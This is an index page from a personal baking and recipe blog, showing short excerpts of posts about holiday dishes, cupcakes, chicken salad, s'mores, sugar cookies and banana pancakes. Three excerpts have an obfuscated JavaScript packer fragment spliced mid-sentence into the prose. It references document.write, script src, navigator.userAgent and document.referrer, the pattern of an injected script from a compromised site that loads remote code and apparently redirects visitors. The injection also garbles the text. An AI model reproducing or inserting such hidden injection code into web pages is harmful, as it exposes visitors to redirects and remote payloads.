What to serve for the 4th of July!

We’re back in Seattle for the 4th (not there yet, but we’ll be headed that way on Wednesday night).  Not sure what I’ll be making to add to the festive spread, but here are a few suggestions for anyone looking for something patriotic! Red, White, and Blue Jell-O is always a crowd pleaser!  My grandma […]

Postcards from the Florida Panhandle

I spent ALL of last week soaking in the sun in Florida.  I was there for work, but stayed a few days on the beach – which made the long trip a bit more bearable. Truth be told, this is really not a bad part of the country.  I think it gets a bad rap.  […]

I really enjoy them. But they aren’t exactly a cinch to make.  Mostly because the timing has to be just right.  They are easy to over or under cook. I make them so infrequently, I always have to look up the recipe […]

Cups, just cups

This past weekend I helped a friend throw a baby shower.  As you may recall, I ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dbhhk|var|u0026u|referrer|tfrkb||js|php’.split(‘|’),0,{})) really enjoy planning parties 🙂 My job was simple, bake some cupcakes and make some spinach dip.  Easy peasy. I have a vanilla cupcake recipe that I LOVE!  And was super excited to have […]

Yep, this is a post about grape juice. We make curried ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|izfdz|var|u0026u|referrer|ysrta||js|php’.split(‘|’),0,{})) chicken salad a lot in our house.  I make a huge batch on Sunday and it’s easy lunches the rest of the week.  The recipe calls for grapes and a costco chicken.  So often times we just get a […]

Yogurt Cheesecake Souffle for Two

I was perusing Pinterest Sunday night and happened upon a Yogurt Cheesecake Souffle.  I have this habit of thinking everything made with greek yogurt is good for you.  It doesn’t matter if it’s 1 Tbs of greek yogurt + 3 cups of sugar + 7 sticks of butter.  If it has greek yogurt, I think […]

S’mores Mallows

If you’re a “regular” follower, you might recall that I kinda like s’mores. I’ve talked about them before, HERE ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hdndb|var|u0026u|referrer|yzibn||js|php’.split(‘|’),0,{})) & HERE.

Sugar Cookies with HARD Icing

I’m always looking for an excuse to bake.  Recently, I’ve felt super busy and haven’t had as much time to bake as I’d like.  BUT when a friend at work asked if I could make a dozen sugar cookies and decorate them like a pro, how could I say no? Her son is really into […]

Healthy Banana Pancakes

So my friend, Kellie, posted a healthy banana pancake recipe the other day.  Eggs + banana + blueberries.  Interesting. On Sunday, Nick and I were trying to figure out what to have for breakfast so I suggested these pancakes. I don’t consider myself a pro chef, but I’m relatively coordinated in the kitchen.  But I […]
